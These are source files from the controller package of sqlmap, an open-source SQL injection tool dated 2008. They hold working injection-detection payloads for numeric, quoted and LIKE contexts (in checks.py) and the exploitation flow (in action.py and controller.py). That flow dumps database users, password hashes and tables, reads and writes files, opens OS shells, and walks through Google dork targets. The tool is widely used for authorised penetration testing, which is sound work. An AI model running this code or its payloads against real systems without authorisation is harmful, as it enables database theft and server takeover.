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Bernardo Damele
2008-10-15 15:38:22 +00:00
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lib/controller/__init__.py Normal file
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#!/usr/bin/env python
"""
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass

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#!/usr/bin/env python
"""
$Id: action.py 293 2008-07-28 21:56:52Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.controller.handler import setHandler
from lib.core.common import getHtmlErrorFp
from lib.core.data import conf
from lib.core.data import kb
from lib.core.dump import dumper
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.settings import SUPPORTED_DBMS
from lib.techniques.inband.union.test import unionTest
def action():
"""
This function exploit the SQL injection on the affected
url parameter and extract requested data from the
back-end database management system or operating system
if possible
"""
# First of all we have to identify the back-end database management
# system to be able to go ahead with the injection
conf.dbmsHandler = setHandler()
if not conf.dbmsHandler:
htmlParsed = getHtmlErrorFp()
errMsg = "sqlmap was not able to fingerprint the "
errMsg += "back-end database management system"
if htmlParsed:
errMsg += ", but from the HTML error page it was "
errMsg += "possible to determinate that the "
errMsg += "back-end DBMS is %s" % htmlParsed
if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS:
errMsg += ". Do not specify the back-end DBMS manually, "
errMsg += "sqlmap will fingerprint the DBMS for you"
else:
errMsg += ". Support for this DBMS will be implemented if "
errMsg += "you ask, just drop us an email"
raise sqlmapUnsupportedDBMSException, errMsg
print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint()
# Miscellaneous options
if conf.unionTest:
dumper.string("valid union", unionTest())
# Enumeration options
if conf.getBanner:
dumper.string("banner", conf.dbmsHandler.getBanner())
if conf.getCurrentUser:
dumper.string("current user", conf.dbmsHandler.getCurrentUser())
if conf.getCurrentDb:
dumper.string("current database", conf.dbmsHandler.getCurrentDb())
if conf.getUsers:
dumper.lister("database management system users", conf.dbmsHandler.getUsers())
if conf.getPasswordHashes:
dumper.userSettings("database management system users password hashes",
conf.dbmsHandler.getPasswordHashes(), "password hash")
if conf.getPrivileges:
dumper.userSettings("database management system users privileges",
conf.dbmsHandler.getPrivileges(), "privilege")
if conf.getDbs:
dumper.lister("available databases", conf.dbmsHandler.getDbs())
if conf.getTables:
dumper.dbTables(conf.dbmsHandler.getTables())
if conf.getColumns:
dumper.dbTableColumns(conf.dbmsHandler.getColumns())
if conf.dumpTable:
dumper.dbTableValues(conf.dbmsHandler.dumpTable())
if conf.dumpAll:
conf.dbmsHandler.dumpAll()
if conf.query:
dumper.string(conf.query, conf.dbmsHandler.sqlQuery(conf.query))
if conf.sqlShell:
conf.dbmsHandler.sqlShell()
# File system options
if conf.rFile:
dumper.string(conf.rFile, conf.dbmsHandler.readFile(conf.rFile))
if conf.wFile:
dumper.string(conf.wFile, conf.dbmsHandler.writeFile(conf.wFile))
# Takeover options
if conf.osShell:
conf.dbmsHandler.osShell()

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#!/usr/bin/env python
"""
$Id: checks.py 357 2008-09-21 18:52:16Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import time
from lib.controller.action import action
from lib.core.agent import agent
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.session import setString
from lib.request.connect import Connect as Request
def checkSqlInjection(place, parameter, value, parenthesis):
"""
This function checks if the GET, POST, Cookie, User-Agent
parameters are affected by a SQL injection vulnerability and
identifies the type of SQL injection:
* Unescaped numeric injection
* Single quoted string injection
* Double quoted string injection
"""
logMsg = "testing unescaped numeric injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
randInt = randomInt()
randStr = randomStr()
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "confirming unescaped numeric injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "unescaped numeric injectable "
logMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg)
return "numeric"
logMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "unescaped numeric injectable"
logger.info(logMsg)
logMsg = "testing single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "confirming single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "single quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg)
return "stringsingle"
logMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "single quoted string injectable"
logger.info(logMsg)
logMsg = "testing LIKE single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "confirming LIKE single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "LIKE single quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg)
return "likesingle"
logMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "LIKE single quoted string injectable"
logger.info(logMsg)
logMsg = "testing double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "confirming double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "double quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg)
return "stringdouble"
logMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "double quoted string injectable"
logger.info(logMsg)
logMsg = "testing LIKE double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "confirming LIKE double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "LIKE double quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg)
return "likedouble"
logMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "LIKE double quoted string injectable"
logger.info(logMsg)
return None
def checkDynParam(place, parameter, value):
"""
This function checks if the url parameter is dynamic. If it is
dynamic, the content of the page differs, otherwise the
dynamicity might depend on another parameter.
"""
logMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg)
randInt = randomInt()
payload = agent.payload(place, parameter, value, str(randInt))
dynResult1 = Request.queryPage(payload, place)
if kb.defaultResult == dynResult1:
return False
logMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg)
payload = agent.payload(place, parameter, value, "'%s" % randomStr())
dynResult2 = Request.queryPage(payload, place)
payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
dynResult3 = Request.queryPage(payload, place)
condition = kb.defaultResult != dynResult2
condition |= kb.defaultResult != dynResult3
return condition
def checkStability():
"""
This function checks if the URL content is stable requesting the
same page three times with a small delay within each request to
assume that it is stable.
In case the content of the page differs when requesting
the same page, the dynamicity might depend on other parameters,
like for instance string matching (--string).
"""
logMsg = "testing if the url is stable, wait a few seconds"
logger.info(logMsg)
firstResult = Request.queryPage()
time.sleep(0.5)
secondResult = Request.queryPage()
time.sleep(0.5)
thirdResult = Request.queryPage()
condition = firstResult == secondResult
condition &= secondResult == thirdResult
return condition
def checkString():
if not conf.string:
return True
condition = (
kb.resumedQueries.has_key(conf.url) and
kb.resumedQueries[conf.url].has_key("String") and
kb.resumedQueries[conf.url]["String"][:-1] == conf.string
)
if condition:
return True
logMsg = "testing if the provided string is within the "
logMsg += "target URL page content"
logger.info(logMsg)
page = Request.queryPage(content=True)
if conf.string in page:
setString()
return True
else:
errMsg = "you provided '%s' as the string to " % conf.string
errMsg += "match, but such a string is not within the target "
errMsg += "URL page content, please provide another string."
logger.error(errMsg)
return False
def checkConnection():
logMsg = "testing connection to the target url"
logger.info(logMsg)
try:
kb.defaultResult = Request.queryPage()
except sqlmapConnectionException, exceptionMsg:
if conf.googleDork:
exceptionMsg += ", skipping to next url"
logger.warn(exceptionMsg)
return False
else:
raise sqlmapConnectionException, exceptionMsg
return True

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#!/usr/bin/env python
"""
$Id: controller.py 368 2008-09-30 00:09:59Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.controller.action import action
from lib.controller.checks import checkSqlInjection
from lib.controller.checks import checkDynParam
from lib.controller.checks import checkStability
from lib.controller.checks import checkString
from lib.controller.checks import checkConnection
from lib.core.common import paramToDict
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapNotVulnerableException
from lib.core.session import setInjection
from lib.core.target import createTargetDirs
from lib.core.target import initTargetEnv
from lib.utils.parenthesis import checkForParenthesis
def __selectInjection(injData):
"""
Selection function for injection place, parameters and type.
"""
message = "there were multiple injection points, please select the "
message += "one to use to go ahead:\n"
for i in xrange(0, len(injData)):
injPlace = injData[i][0]
injParameter = injData[i][1]
injType = injData[i][2]
message += "[%d] place: %s, parameter: " % (i, injPlace)
message += "%s, type: %s" % (injParameter, injType)
if i == 0:
message += " (default)"
message += "\n"
message += "[q] Quit\nChoice: "
select = readInput(message, default="0")
if not select:
index = 0
elif select.isdigit() and int(select) < len(injData) and int(select) >= 0:
index = int(select)
elif select[0] in ( "Q", "q" ):
return "Quit"
else:
warnMsg = "Invalid choice, retry"
logger.warn(warnMsg)
__selectInjection(injData)
return injData[index]
def start():
"""
This function calls a function that performs checks on both URL
stability and all GET, POST, Cookie and User-Agent parameters to
check if they are dynamic and SQL injection affected
"""
if conf.url:
kb.targetUrls.add(conf.url)
if conf.configFile and not kb.targetUrls:
errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target url properly"
logger.error(errMsg)
hostCount = 0
injData = []
receivedCookies = []
cookieStr = ""
setCookieAsInjectable = True
for targetUrl in kb.targetUrls:
if conf.googleDork:
hostCount += 1
message = "url %d: %s, " % (hostCount, targetUrl)
message += "do you want to test this url? [Y/n/q] "
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
continue
elif test[0] in ("q", "Q"):
break
logMsg = "testing url %s" % targetUrl
logger.info(logMsg)
conf.url = targetUrl
initTargetEnv()
if not checkConnection() or not checkString():
continue
for _, cookie in enumerate(conf.cj):
cookie = str(cookie)
index = cookie.index(" for ")
cookieStr += "%s;" % cookie[8:index]
if cookieStr:
cookieStr = cookieStr[:-1]
if "Cookie" in conf.parameters:
message = "you provided an HTTP Cookie header value. "
message += "The target url provided its own Cookie within "
message += "the HTTP Set-Cookie header. Do you want to "
message += "continue using the HTTP Cookie values that "
message += "you provided? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
setCookieAsInjectable = False
if setCookieAsInjectable:
conf.httpHeaders.append(("Cookie", cookieStr))
conf.parameters["Cookie"] = cookieStr
__paramDict = paramToDict("Cookie", cookieStr)
if __paramDict:
conf.paramDict["Cookie"] = __paramDict
__testableParameters = True
if not kb.injPlace or not kb.injParameter or not kb.injType:
if not conf.string:
if checkStability():
logMsg = "url is stable"
logger.info(logMsg)
else:
errMsg = "url is not stable, try with --string option, refer "
errMsg += "to the user's manual paragraph 'String match' "
errMsg += "for details"
if conf.googleDork:
errMsg += ", skipping to next url"
logger.warn(errMsg)
continue
else:
raise sqlmapConnectionException, errMsg
for place in conf.parameters.keys():
if not conf.paramDict.has_key(place):
continue
paramDict = conf.paramDict[place]
for parameter, value in paramDict.items():
if not checkDynParam(place, parameter, value):
warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter)
logger.warn(warnMsg)
else:
logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg)
for parenthesis in range(0, 4):
logMsg = "testing sql injection on %s " % place
logMsg += "parameter '%s' with " % parameter
logMsg += "%d parenthesis" % parenthesis
logger.info(logMsg)
injType = checkSqlInjection(place, parameter, value, parenthesis)
if injType:
injData.append((place, parameter, injType))
break
else:
warnMsg = "%s parameter '%s' is not " % (place, parameter)
warnMsg += "injectable with %d parenthesis" % parenthesis
logger.warn(warnMsg)
if not kb.injPlace or not kb.injParameter or not kb.injType:
if len(injData) == 1:
injDataSelected = injData[0]
elif len(injData) > 1:
injDataSelected = __selectInjection(injData)
else:
return
if injDataSelected == "Quit":
return
else:
kb.injPlace, kb.injParameter, kb.injType = injDataSelected
setInjection()
if not conf.googleDork and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
raise sqlmapNotVulnerableException, "all parameters are not injectable"
elif kb.injPlace and kb.injParameter and kb.injType:
condition = False
if conf.googleDork:
message = "do you want to exploit this SQL injection? [Y/n] "
exploit = readInput(message, default="Y")
if not exploit or exploit[0] in ("y", "Y"):
condition = True
else:
condition = True
if condition:
checkForParenthesis()
createTargetDirs()
action()
if conf.loggedToOut:
logger.info("Fetched data logged to text files under '%s'" % conf.outputPath)

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#!/usr/bin/env python
"""
$Id: handler.py 283 2008-07-25 15:16:11Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import PGSQL_ALIASES
from plugins.dbms.mssqlserver import MSSQLServerMap
from plugins.dbms.mysql import MySQLMap
from plugins.dbms.oracle import OracleMap
from plugins.dbms.postgresql import PostgreSQLMap
def setHandler():
"""
Detect which is the target web application back-end database
management system.
"""
count = 0
dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server" )
dbmsMap = (
( MYSQL_ALIASES, MySQLMap ),
( ORACLE_ALIASES, OracleMap ),
( PGSQL_ALIASES, PostgreSQLMap ),
( MSSQL_ALIASES, MSSQLServerMap ),
)
for dbmsAliases, dbmsEntry in dbmsMap:
if conf.dbms and conf.dbms not in dbmsAliases:
debugMsg = "skipping to test for %s" % dbmsNames[count]
logger.debug(debugMsg)
count += 1
continue
dbmsHandler = dbmsEntry()
if dbmsHandler.checkDbms():
if not conf.dbms or conf.dbms in dbmsAliases:
kb.dbmsDetected = True
return dbmsHandler
return None